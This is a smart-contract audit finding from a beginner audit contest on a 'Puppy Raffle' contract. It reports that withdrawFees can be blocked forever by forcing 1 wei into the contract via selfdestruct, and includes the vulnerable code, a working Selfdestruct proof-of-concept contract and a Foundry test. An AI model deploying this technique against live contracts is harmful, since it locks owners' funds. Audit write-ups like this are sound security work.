First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

The `require` condition depends on the `PuppyRaffle's` balance, which can be manipulated.

alymurtazamemon

Summary

The protocol aims to verify that the total fees collected are equal to the balance of the PuppyRaffle contract before withdrawal. Unfortunately, require conditions dependent on the contract's balance can be manipulated and may block the protocol's functionality indefinitely.

Vulnerability Details

/// @notice this function will withdraw the fees to the feeAddress
function withdrawFees() external {
require(
@> address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!"
);
​
uint256 feesToWithdraw = totalFees;
totalFees = 0;
​
(bool success, ) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

PuppyRaffle.sol - Line 158

The PuppyRaffle::withdrawFees function sends all of the collected fees to the feeAddress provided to the protocol. Unfortunately, it has the condition at the top: address(this).balance == uint256(totalFees), which checks if the balance of the PuppyRaffle contract is equal to totalFees.

As we are all familiar with the Solidity feature that allows any user to send ether to any contract, even without a fallback or receive function inside the receiving contract (i.e., using selfdestruct).

Using this feature, anyone can send a small amount, such as 1 wei, of ether to the PuppyRaffle contract and disrupt this condition, which would block the withdrawFees function and prevent feeAddress from receiving the collected and future fees.

PoC

View It

  1. Create a file Selfdestruct.sol inside the test folder and put this code inside it;

// SPDX-License-Identifier: MIT
​
pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract Selfdestruct {
constructor(PuppyRaffle puppyRaffle) payable {
selfdestruct(payable(address(puppyRaffle)));
}
}

This contract selfdestruct itself on the construction and sent all of its funds to PuppyRaffle contract.

  1. Import this in the PuppyRaffleTest.t.sol file

import {Selfdestruct} from "./Selfdestruct.sol";

  1. And the add this code inside the same file;

function test_WithdrawFeesBlockage() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
puppyRaffle.selectWinner();
​
// * send some small amount of eth to PuppyRaffle contract
new Selfdestruct{value: 1}(puppyRaffle); // 1 wei
​
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Impact

Fees will stuck forever in the PuppyRaffle contract.

Tools Used

Manual Review

Recommendations

  1. To ensure the withdrawal is only permitted when active players do not exist, the protocol teams can verify the length of the players array. If any active players are found, the withdrawal can be prevented.

  2. Alternatively, consider implementing similar logic to address this issue.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

greifers-send-money-to-contract-to-block-withdrawfees

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!